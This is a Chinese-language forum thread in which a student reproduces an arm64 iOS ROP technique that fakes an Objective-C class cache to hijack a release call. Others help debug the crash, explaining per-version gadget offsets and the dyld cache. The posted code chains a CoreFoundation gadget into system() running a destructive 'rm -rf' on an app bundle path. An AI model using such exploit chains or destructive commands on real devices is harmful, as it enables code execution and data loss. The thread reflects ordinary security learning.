ios上的arm64ROP复现

继续复现,发现在编译好安装到iOS上执行之后出现Segement Fault 11
经过调试之后确认是在talker对象执行那个被替换后的release函数之后发生的

int main(void) {
    
    Talker *talker = [[Talker alloc] init];
    [talker say: @"Hello, Ice and Fire!"];
    [talker say: @"Hello, Ice and Fire!"];
    [talker release];
    
    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));

    uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
    
    //0x00000000000dcf7c  ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
    fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

    fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
    fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
    NSLog(@"system_address = %p", (void*)fake_receiver.x1);
    strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
    
    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
    fake_objc_class.cache_bucket_mask=0;
    
    fake_receiver.fake_objc_class_ptr=&fake_objc_class;
    talker= &fake_receiver;
    
    [talker release];
}

后来编译了armv7架构的也是同样的问题,在日志中找到程序crash掉之后的信息:


得到了pc指针的值,请问一下接下来排错的思路是什么,我在网上查的溢出报段错误的是在编译的时候关闭了ASLR之类的(感觉跟这个无关),但是对于iOS的系统来说还没有找到类似的回答
照理来说r0应该存放着对象的指针值,但是却没有,感觉有点奇怪?

这个硬编码的地址是你自己找的gadget地址么。可能是系统版本不一样offset不同。
我也没看过原来的冰火所以只能简单看看代码 :stuck_out_tongue_winking_eye:

我去了解下这方面看看,这个硬编码确实有点诡异,之前没注意

这是二进制镜像到对应gadget的偏移。 所以每个版本的系统这个地址应该是不一样的。你需要手动分析dyld cache找到这个gadget的正确偏移

可能对于名词暂时还不理解,去查了一下,通过对比AloneMonkey前辈在github上对于armv7架构的实现:


是应该在可执行文件中找到这样一段类似的汇编代码,但是后来又减去一个值就不大看得懂了:

对于dyld_cache在Google没有找到很好的解释和计算之类的,前辈可以提供一下这种问题查找方式么(一直很困扰啊,在网上怎么也看不到解决的)这样也免得重复提问:sweat_smile:浪费前辈们的时间:

我只能找到这种程度emm,对于dyld_cache还是一头雾水

+1是Thumb/ARM那块的东西吧。
减的话你管他为啥看得懂你知道为了算偏移就行了

dyld cache你大致理解成所有系统库的一个压缩就好了。不过是作为整体存储在磁盘和 内存 里的

所以我如果是arm64的话找到那一串汇编就应该好了,对于低级版本的事情水还是太深了,搞不起搞不起

没错。啥叫低级版本的事情水太深了

1 个赞

关于Thumb那一块之前试了下,总是出问题,16位的不知道有什么奇怪的特性之类的,话说前辈能拉一下企鹅讨论么,在论坛挺麻烦的,emmm

360大佬能跟我这自学入门的讨论个啥。群里也是主要吹逼,还是论坛吧 :stuck_out_tongue_winking_eye:

前辈别这样,我加了那个Hikari的群都不敢说话,怕被踢hhh

微信群?我没开过qq群

是啊,而且我也是寒假的时候才学的,刚上道,大二萌新,以后还请多多指教呐

:face_with_raised_eyebrow: arm的话有本老外写的书不错可以看一下

https://zygosec.com/Products 不送国内因为中国邮政老丢件。找个国外代购吧

好的,谢谢前辈~之前对于ARM了解仅仅在一些指令上,太基础了

没事我也是要用了翻手册。不过我主要是在玩llvm你们搞漏洞挖掘对于这块的熟悉程度可能跟我不一样

之前我还不知道干啥,我还以为llvm是必学的,也跑去搞去了,最近被龙书疯狂折磨,后来把llvm的AST一看,妈蛋和想象还是不一样,中间层依旧看不懂:sweat_smile:

术业有专攻正常。龙书我也是粗略的过一遍当参考书用的